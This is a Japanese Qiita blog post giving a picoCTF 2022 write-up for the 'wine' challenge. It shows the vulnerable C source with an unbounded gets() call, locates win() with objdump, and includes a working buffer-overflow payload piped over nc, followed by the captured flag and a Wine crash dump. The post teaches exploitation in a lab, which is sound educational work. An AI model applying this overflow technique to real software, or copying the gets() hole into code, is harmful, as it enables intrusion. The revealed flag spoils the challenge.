0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF 2022 writeup wine

Last updated at Posted at 2025-06-08

wine (Binary Exploitation)

Challenge best paired with wine.
I love windows. Checkout my program running on a linux box.
Unzip the archive with the password picoctf and connect with it using nc saturn.picoctf.net 55701

添付ファイル

  • vuln.zip
    • vuln.c
    • vuln.exe

とりあえず、実行する。

$ nc saturn.picoctf.net 55701
Give me a string!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

ソースコードを見る。

c vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void win(){
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("flag.txt not found in current directory.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

void vuln()
{
  printf("Give me a string!\n");
  char buf[128];
  gets(buf);
}

int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);
  vuln();
  return 0;
}

win()があることが分かる。vuln()のgets(buf)で、buffer overflowができることが分かる。

$ file vuln.exe 
vuln.exe: PE32 executable (console) Intel 80386, for MS Windows

このファイルは32bitである。
buffer overflowでwin()を実行させればよい。
return addressがbufの終わりから8bytesのところにあるため、win()のアドレスを書き込む位置はbufの終わりから12bytesのところである。

$ objdump -M intel -d vuln.exe | grep win 
00401530 <_win>:
  401551:       75 18                   jne    40156b <_win+0x3b>

win()のアドレスは0x401530であることが分かる。
よって、ペイロードは以下のようになる。

$ (python3 -c 'import sys; sys.stdout.write("a"*140)'; echo -e '\x30\x15\x40') | nc saturn.picoctf.net 55701

実行する。

$ (python3 -c 'import sys; sys.stdout.write("a"*140)'; echo -e '\x30\x15\x40') | nc saturn.picoctf.net 55701
Give me a string!
picoCTF{Un_v3rr3_d3_v1n_2ef42747}
Unhandled exception: page fault on read access to 0x7fec39e0 in 32-bit code (0x7fec39e0).
Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
 EIP:7fec39e0 ESP:0064fe84 EBP:61616161 EFLAGS:00010206(  R- --  I   - -P- )
 EAX:00000000 EBX:00230e78 ECX:0064fe14 EDX:7fec48f4
 ESI:00000005 EDI:0021d690
Stack dump:
0x0064fe84:  00000000 00000004 00000000 7b432ecc
0x0064fe94:  00230e78 0064ff28 00401386 00000002
0x0064fea4:  00230e70 006d0da0 7bcc4625 00000004
0x0064feb4:  00000008 00230e70 0021d690 0199a584
0x0064fec4:  3a25148b 00000000 00000000 00000000
0x0064fed4:  00000000 00000000 00000000 00000000
Backtrace:
=>0 0x7fec39e0 (0x61616161)
0x7fec39e0: hlt
Modules:
Module  Address                 Debug info      Name (5 modules)
PE        400000-  44b000       Deferred        vuln
PE      7b020000-7b023000       Deferred        kernelbase
PE      7b420000-7b5db000       Deferred        kernel32
PE      7bc30000-7bc34000       Deferred        ntdll
PE      7fe10000-7fe14000       Deferred        msvcrt
Threads:
process  tid      prio (all id:s are in hex)
00000008 (D) Z:\challenge\vuln.exe
        00000009    0 <==
0000000c services.exe
        0000000e    0
        0000000d    0
00000012 explorer.exe
        00000013    0
System information:
    Wine build: wine-5.0 (Ubuntu 5.0-3ubuntu1)
    Platform: i386
    Version: Windows Server 2008 R2
    Host system: Linux
    Host version: 6.5.0-1023-aws

フラグが得られた。

picoCTF{Un_v3rr3_d3_v1n_2ef42747}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?